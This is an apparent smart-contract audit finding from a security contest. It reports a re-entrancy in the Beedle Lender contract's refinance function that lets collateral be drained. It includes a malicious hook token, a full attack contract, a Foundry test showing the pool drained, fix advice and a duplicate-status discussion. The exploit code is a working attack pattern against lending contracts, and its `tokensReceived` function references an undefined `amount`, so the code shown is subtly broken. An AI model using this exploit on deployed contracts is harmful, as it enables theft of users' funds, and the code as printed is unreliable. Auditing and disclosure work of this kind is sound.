Lender contract can be drained by re-entrancy in `refinance` (collateral)

[codehawks-bot]

Lender contract can be drained by re-entrancy in refinance (collateral)

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L670

Summary

Tokens allowing reentrant calls on transfer can be drained from a pool.

Vulnerability Details

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens). Example of token with hook on transfer:

pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract WeirdToken is ERC20 {

    constructor(uint256 amount) ERC20("WeirdToken", "WT") {
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        if (to != address(0)) {
            (bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        }
    }
}

This kind of token allows a re-entrancy attack in the refinance function. When the new collateral is less than the current loan collateral, the difference is sent to the borrower before updating the state.

File: Lender.Sol

L668:   } else if (collateral < loan.collateral) {
        // transfer the collateral tokens from the contract to the borrower
        IERC20(loan.collateralToken).transfer(
            msg.sender,
            loan.collateral - collateral
        ); // @audit - Re-entrancy can drain contract
    }

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L670

Impact

POC

An attacker can use the following exploit contract to drain the lender contract:

File: Exploit1.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit1  {
    Lender lender;
    address loanToken;
    address collateralToken;
    Refinance refinance;

    constructor(Lender _lender, address _loanToken, address _collateralToken) {
        lender = _lender;
        loanToken = _loanToken;
        collateralToken = _collateralToken;
    }

    function attack(bytes32 _poolId, uint256 _debt, uint256 _collateral, uint256 _loanId, uint256 _newCollateral) external {
        // [1] Borrow a new loan
        ERC20(collateralToken).approve(address(lender), _collateral);
        Borrow memory b = Borrow({
            poolId: _poolId,
            debt: _debt,
            collateral: _collateral
        });
        Borrow[] memory borrows = new Borrow[](1);
        borrows[0] = b;        
        lender.borrow(borrows);
        // [2] Refinance the loan with a lower amount of collateral
        refinance = Refinance({
            loanId: _loanId,
            poolId: _poolId,
            debt: _debt,
            collateral: _newCollateral
        });
        Refinance[] memory refinances = new Refinance[](1);
        refinances[0] = refinance;
        lender.refinance(refinances);
        // [3] Send the funds back to the attacker
        ERC20(loanToken).transfer(msg.sender, ERC20(loanToken).balanceOf(address(this)));
        ERC20(collateralToken).transfer(msg.sender, ERC20(collateralToken).balanceOf(address(this)));
    }

    function tokensReceived(address from, address /*to*/, uint256 /*amount*/) external {
        require(msg.sender == collateralToken, "not collateral token");
        if (from == address(lender)) {
            uint256 lenderBalance = ERC20(collateralToken).balanceOf(address(lender));
            if (lenderBalance > 0) {
                // Re-enter
                Refinance[] memory refinances = new Refinance[](1);
                if (lenderBalance >= amount) {
                    refinances[0] = refinance;
                } else {
                    Refinance memory r = refinance;
                    r.collateral += amount - lenderBalance;
                    refinances[0] = r;
                }
                lender.refinance(refinances);
            }          
        }
    }

}

Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:

function test_exploit() public {
    address attacker = address(0x5);
    // Setup
    vm.startPrank(lender1);
    WeirdToken weirdToken = new WeirdToken(1_000_000*10**18);
    weirdToken.transfer(address(lender), 900_000*10**18); // Lender contract has 900_000 weirdToken
    weirdToken.transfer(address(attacker), 100_000*10**18); // Attacker has 100_000 weirdToken
    // lender1 creates a pool of loanTokens accepting weirdTokens as collateral
    Pool memory p = Pool({
        lender: lender1,
        loanToken: address(loanToken),
        collateralToken: address(weirdToken),
        minLoanSize: 10*10**18,
        poolBalance: 1000*10**18,
        maxLoanRatio: 2*10**18,
        auctionLength: 1 days,
        interestRate: 1000,
        outstandingLoans: 0
    });
    bytes32 poolId = lender.setPool(p);

    assertEq(weirdToken.balanceOf(address(lender)), 900_000*10**18);
    assertEq(loanToken.balanceOf(address(lender)), 1_000*10**18);
    assertEq(weirdToken.balanceOf(address(attacker)), 100_000*10**18);  // Attacker starts with some weirdTokens        
    assertEq(loanToken.balanceOf(address(attacker)), 0);

    // Exploit starts here
    vm.startPrank(attacker);
    Exploit1 attackContract = new Exploit1(lender, address(loanToken), address(weirdToken));
    weirdToken.transfer(address(attackContract), 100_000*10**18);
    uint256 debt = 10*10**18;
    uint256 collateral = 100_000*10**18;
    uint256 loanId = 0;
    uint256 newCollateral = 10*10**18;
    attackContract.attack(poolId, debt, collateral, loanId, newCollateral);

    // Pool has been drained
    assertEq(weirdToken.balanceOf(address(lender)), 0);
    assertLt(loanToken.balanceOf(address(lender)), 1_000*10**18);        // Pool has a debt
    assertEq(weirdToken.balanceOf(address(attacker)), 1_000_000*10**18); // Attacker has drained all the weirdTokens   
    assertGt(loanToken.balanceOf(address(attacker)), 0);                 // Attacker keeps the loan tokens
}

Tools Used

Manual review + Foundry

Recommendations

Follow the Checks - Effect - Interactions (CEI) pattern by updating the loan variables before transfering the funds AND use nonReentrant modifiers

[MiniGlome]

This is not the same issue as https://github.com/Cyfrin/2023-07-beedle/issues/1172 because this one is a re-entrancy on the collateral token transfer. This can be solved by moving Lines 686-698 at Line 660 which will not solve https://github.com/Cyfrin/2023-07-beedle/issues/1172

There are 2 different re-entrancies in the refinance function as you can see they allow to steal 2 different tokens (this one allows to steal the collateral whereas the other one allows to steal the debt). As you can see in the POCs they are exploited in different ways.

[PatrickAlphaC]

@MiniGlome thanks for the escalation. The issue occurs from the same vulnerability, but the exact attack is different. A fix to one will fix the other, I'm going to leave it as the same issue.